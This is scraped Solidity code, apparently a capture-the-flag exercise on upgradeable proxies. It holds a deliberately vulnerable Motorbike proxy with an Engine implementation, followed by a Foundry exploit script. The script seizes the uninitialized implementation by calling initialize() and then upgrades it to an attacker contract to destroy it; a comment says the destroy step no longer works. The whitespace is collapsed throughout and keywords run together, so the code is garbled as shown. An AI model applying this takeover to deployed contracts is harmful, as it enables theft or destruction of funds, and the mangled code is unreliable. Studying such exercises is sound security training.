// SPDX-License-Identifier: MITpragmasolidity <0.7.0;import"openzeppelin-contracts-06/utils/Address.sol";import"openzeppelin-contracts-06/proxy/Initializable.sol";contract Motorbike {// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
structAddressSlot {address value; }// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.constructor(address_logic) public {require(Address.isContract(_logic),"ERC1967: new implementation is not a contract");_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));require(success,"Call failed"); }// Delegates the current call to `implementation`.function_delegate(address implementation) internalvirtual {// solhint-disable-next-line no-inline-assemblyassembly {calldatacopy(0,0,calldatasize())let result :=delegatecall(gas(), implementation,0,calldatasize(),0,0)returndatacopy(0,0,returndatasize()) switch result case 0 { revert(0,returndatasize()) } default { return(0,returndatasize()) } } }// Fallback function that delegates calls to the address returned by `_implementation()`.// Will run if no other function in the contract matches the call datafallback() externalpayablevirtual {_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); }// Returns an `AddressSlot` with member `value` located at `slot`.function_getAddressSlot(bytes32 slot) internalpurereturns (AddressSlotstorage r) {assembly { r_slot := slot } }}contractEngineisInitializable {// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
addresspublic upgrader;uint256public horsePower;structAddressSlot {address value; }functioninitialize() externalinitializer { horsePower =1000; upgrader = msg.sender; }// Upgrade the implementation of the proxy to `newImplementation`// subsequently execute the function callfunctionupgradeToAndCall(address newImplementation,bytesmemory data) externalpayable {_authorizeUpgrade();_upgradeToAndCall(newImplementation, data); }// Restrict to upgrader rolefunction_authorizeUpgrade() internalview {require(msg.sender == upgrader,"Can't upgrade"); }// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.function_upgradeToAndCall(address newImplementation,bytesmemory data) internal {// Initial upgrade and setup call_setImplementation(newImplementation);if (data.length >0) { (bool success,) = newImplementation.delegatecall(data);require(success,"Call failed"); } }// Stores a new address in the EIP1967 implementation slot.function_setImplementation(address newImplementation) private {require(Address.isContract(newImplementation),"ERC1967: new implementation is not a contract"); AddressSlot storage r;assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; }}
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;import {Script, console} from"forge-std/Script.sol";import {HelperFunctions} from"script/HelperFunctions.s.sol";import {AttackContract} from"src/Level25.sol";// ================================================================// │ LEVEL 25 - MOTORBIKE │// ================================================================interface IEngine {functioninitialize() external;functionupgradeToAndCall(address newImplementation,bytesmemory data) externalpayable;functiondestroyEngine() external;}contractExploitisScript, HelperFunctions {functionrun() public {address targetContractAddress =getInstanceAddress(); vm.startBroadcast();// Replace the slot number with the specific storage slot you want to readbytes32 storageSlot =0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;// Use the load cheatcode to get the value at the storage slotbytes32 value = vm.load(targetContractAddress, storageSlot); IEngine engine =IEngine(address(uint160(uint256(value)))); engine.initialize();// **************************************************************************************// This no longer works because SELFDESTRUCT only works in the constructor of a contract// ************************************************************************************** AttackContract attackContract =newAttackContract(); engine.upgradeToAndCall(address(attackContract), abi.encodeWithSignature("destroyEngine()")); vm.stopBroadcast(); }}